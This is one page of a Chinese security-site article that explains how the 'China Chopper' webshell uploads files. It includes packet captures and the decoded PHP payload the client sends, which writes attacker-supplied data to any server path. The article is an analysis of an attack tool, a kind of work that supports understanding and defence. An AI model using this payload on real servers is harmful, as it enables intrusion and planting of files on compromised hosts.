欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

技术剖析中国菜刀原理

来源:本站转载 作者:Little Hann 时间:2013-08-29 TAG: 我要投稿

执行完这些代码之后,就完成了列目录的功能。

 

 

 

2.2 上传文件

接下来看看webshell最重要的功能,上传文件,这是进一步横向渗透到基础

话不多说,我们先传一个图片上去

这次的鲨鱼抓包看到了是2组来回对话。基本心里有数了,好,我们先分析第一个包

第一个HTTP包从鲨鱼中导出来是这样,做过web开发的都知道,当表单中加入属性enctype="multipart/form-data",传输方式为post的时候,我们上传的文件会被编码为base64然后(根据浏览器可能有压缩)和HTTP头一起构成一整个HTTP数据包发送给服务器端。也就说,后面的这大段数据都是我刚才上传的图片。我的感觉就是菜刀客户端是在模拟一个表单传文件的行为,模拟出一个文件上传的POST数据包,发往服务器,个人的理解,不知道对不对。

为了验证这个观点,我们对数据的开始那部分进行解码:

@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$f=base64_decode($_POST["z1"]);$c=$_POST["z2"];$c=str_replace("\r","",$c);$c=str_replace("\n","",$c);$buf="";for($i=0;$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2));echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");;echo("|<-");die();

整理一下代码:

@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;
$f=base64_decode($_POST["z1"]);
$c=$_POST["z2"];
$c=str_replace("\r","",$c);
$c=str_replace("\n","",$c);
$buf="";
for($i=0;$i<strlen($c);$i+=2)
    $buf.=urldecode("%".substr($c,$i,2));
echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");;
echo("|<-");
die();
&z1=C:\\inetpub\\wwwroot\\1.png

&z2=.....................(后面跟的那一大段数据都是z2)代码基本上来说最关键的就是那个fwrite,就是将我们指定的装满数据的缓冲区写入我们指定的一个路径中。只要apache用户在当前目录下有写权限,php调用win api的时候就能完成写操作。

上一页  [1] [2] [3] [4] [5] [6] [7]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载